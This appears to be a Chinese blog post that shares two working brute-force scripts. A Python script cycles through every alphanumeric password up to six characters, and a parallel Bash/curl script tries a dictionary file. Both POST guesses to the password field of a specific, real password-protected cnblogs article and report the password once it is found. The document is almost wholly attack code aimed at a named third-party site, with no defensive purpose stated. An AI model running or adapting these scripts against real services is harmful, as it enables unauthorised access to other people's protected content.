"""
python3暴力穷举密码
2016年6月09日 04:39:25  codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post


#密码生成器
def psgen(x=4):
    iter = ['1234567890',
            'abcdefghijklmnopqrstuvwxyz',
            'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

            ]
    for r in iter:
        for repeat in range(1,x+1):
            for ps in product(r,repeat=repeat):
                yield ''.join(ps)


def fx(url):
#把URL中的readauth字符删掉，替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式，因为这个才POST的目标地址。
    url = url.replace("/post/readauth?url=", "")
    for ps in tqdm(psgen(6)):
        try:
            rs=post(url,data={'tb_password':ps},allow_redirects=1)
            if rs.url == url:  #如果提交密码后，返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式，那么认为猜到正确的密码了。
                with open("resut.csv","a+") as f:
                    f.write('密码破解成功结果为：,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
                break
        except:
            sleep(1)
            pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
复制代码

#!/bin/bash

trap Cleanup SIGINT SIGTERM

# 字典路径
DictionaryPath="/root/.passwd/PASSWD01"

# 读取字典文件到数组
arrayW=(`cat $DictionaryPath`)

# 最大任务量，数组
Limit=${#arrayW[*]}

# 并发的进程数
Threads=60

echo ""
echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"
echo ""
    
function Cleanup()
{
    # 清理后台还在运行的任务
    for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`
    do
        kill %$i
    done
    
    sleep 1
    echo -e "\n\nExit ...\n"
    exit
}


function Crack()
{
    URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"
    result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')
    if [ "$result" == "200" ]; then
        printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"
        killall ${0##*/}
    fi
}


# 进程ID数组
arrayP=()

m=0
while (( m < Limit ))
do
	for ((n=0; n < Threads; n++))
	do
		if [ $m -gt $Limit ]; then
			break;
		fi
		
		if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then
		
		        # 处理进度百分比
                        progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')
            
                        printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."
			
			Crack "${arrayW[m]}" &
				
			arrayP[n]=$!

		    m=$((m+1))
		fi
	done
	sleep 0.5
done
wait

printf "\n\n"
exit
复制代码